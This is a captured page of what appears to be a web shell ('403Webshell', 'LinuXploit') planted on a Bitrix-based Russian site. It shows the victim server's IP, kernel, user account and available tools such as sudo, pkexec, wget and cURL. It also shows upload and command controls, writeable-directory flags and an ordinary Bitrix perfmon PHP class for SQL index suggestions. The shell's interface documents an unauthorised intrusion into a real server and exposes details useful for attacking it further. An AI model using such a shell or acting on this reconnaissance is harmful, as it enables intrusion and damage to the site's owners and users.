403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/classes/general/index_suggest.php
<?php

class CPerfomanceIndexSuggest
{
	public static function GetList($arSelect, $arFilter, $arOrder)
	{
		global $DB;

		if (!is_array($arSelect))
		{
			$arSelect = [];
		}
		if (count($arSelect) < 1)
		{
			$arSelect = [
				'ID',
			];
		}

		if (!is_array($arOrder))
		{
			$arOrder = [];
		}
		if (count($arOrder) < 1)
		{
			$arOrder = [
				'TABLE_NAME' => 'ASC',
			];
		}

		$arQueryOrder = [];
		foreach ($arOrder as $strColumn => $strDirection)
		{
			$strColumn = mb_strtoupper($strColumn);
			$strDirection = mb_strtoupper($strDirection) === 'ASC' ? 'ASC' : 'DESC';
			switch ($strColumn)
			{
			case 'ID':
			case 'TABLE_NAME':
			case 'SQL_COUNT':
			case 'SQL_TIME':
				$arSelect[] = $strColumn;
				$arQueryOrder[$strColumn] = $strColumn . ' ' . $strDirection;
				break;
			}
		}

		$bJoin = false;
		$arQuerySelect = [];
		foreach ($arSelect as $strColumn)
		{
			$strColumn = mb_strtoupper($strColumn);
			switch ($strColumn)
			{
			case 'ID':
			case 'TABLE_NAME':
			case 'TABLE_ALIAS':
			case 'COLUMN_NAMES':
			case 'SQL_MD5':
			case 'SQL_TEXT':
			case 'SQL_COUNT':
			case 'SQL_TIME':
			case 'SQL_EXPLAIN':
				$arQuerySelect[$strColumn] = 's.' . $strColumn;
				break;
			case 'BANNED':
				$arQuerySelect[$strColumn] = 'c.' . $strColumn;
				$bJoin = true;
				break;
			}
		}

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields([
			'ID' => [
				'TABLE_ALIAS' => 's',
				'FIELD_NAME' => 'ID',
				'FIELD_TYPE' => 'int', //int, double, file, enum, int, string, date, datetime
				'JOIN' => false,
				//"LEFT_JOIN" => "lt",
			],
			'SQL_MD5' => [
				'TABLE_ALIAS' => 's',
				'FIELD_NAME' => 's.SQL_MD5',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'TABLE_NAME' => [
				'TABLE_ALIAS' => 's',
				'FIELD_NAME' => 's.TABLE_NAME',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'COLUMN_NAMES' => [
				'TABLE_ALIAS' => 's',
				'FIELD_NAME' => 's.COLUMN_NAMES',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'BANNED' => [
				'TABLE_ALIAS' => 'c1',
				'FIELD_NAME' => 'c1.BANNED',
				'FIELD_TYPE' => 'string',
				'JOIN' => 'LEFT JOIN b_perf_index_complete c1 on c1.TABLE_NAME = s.TABLE_NAME and c1.COLUMN_NAMES = s.COLUMN_NAMES',
			],
		]);

		if (count($arQuerySelect) < 1)
		{
			$arQuerySelect = ['ID' => 's.ID'];
		}

		if (!is_array($arFilter))
		{
			$arFilter = [];
		}
		$strQueryWhere = $obQueryWhere->GetQuery($arFilter);

		$strSql = '
			SELECT ' . implode(', ', $arQuerySelect) . '
			FROM b_perf_index_suggest s
			' . $obQueryWhere->GetJoins() . '
			' . ($bJoin ? 'LEFT JOIN b_perf_index_complete c on c.TABLE_NAME = s.TABLE_NAME and c.COLUMN_NAMES = s.COLUMN_NAMES' : '') . '
			' . ($strQueryWhere ? 'WHERE ' . $strQueryWhere : '') . '
			' . (count($arQueryOrder) ? 'ORDER BY ' . implode(', ', $arQueryOrder) : '') . '
		';
		$res = $DB->Query($strSql);

		return $res;
	}

	public static function Add($arFields)
	{
		global $DB;
		$ID = $DB->Add('b_perf_index_suggest', $arFields);
		return $ID;
	}

	public static function Delete($ID)
	{
		global $DB;
		$ID = intval($ID);
		$DB->Query('DELETE FROM b_perf_index_suggest_sql WHERE SUGGEST_ID = ' . $ID);
		$DB->Query('DELETE FROM b_perf_index_suggest WHERE ID = ' . $ID);
	}

	public static function UpdateStat($sql_md5, $count, $query_time, $sql_id)
	{
		global $DB;
		$res = $DB->Query("
			INSERT INTO b_perf_index_suggest_sql (
				SUGGEST_ID, SQL_ID
			) SELECT iss.ID,s.ID
			FROM b_perf_index_suggest iss
			,b_perf_sql s
			WHERE iss.SQL_MD5 = '" . $DB->ForSql($sql_md5) . "'
			AND s.ID = " . intval($sql_id) . '
		');
		if (is_object($res))
		{
			$DB->Query('
				UPDATE b_perf_index_suggest
				SET SQL_COUNT = SQL_COUNT + ' . intval($count) . ',
				SQL_TIME = SQL_TIME + ' . floatval($query_time) . "
				WHERE SQL_MD5 = '" . $DB->ForSql($sql_md5) . "'
			");
		}
	}

	public static function Clear()
	{
		global $DB;
		$DB->Query('TRUNCATE TABLE b_perf_tab_stat');
		$DB->Query('TRUNCATE TABLE b_perf_tab_column_stat');
		$DB->Query('TRUNCATE TABLE b_perf_index_suggest');
		$DB->Query('TRUNCATE TABLE b_perf_index_suggest_sql');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit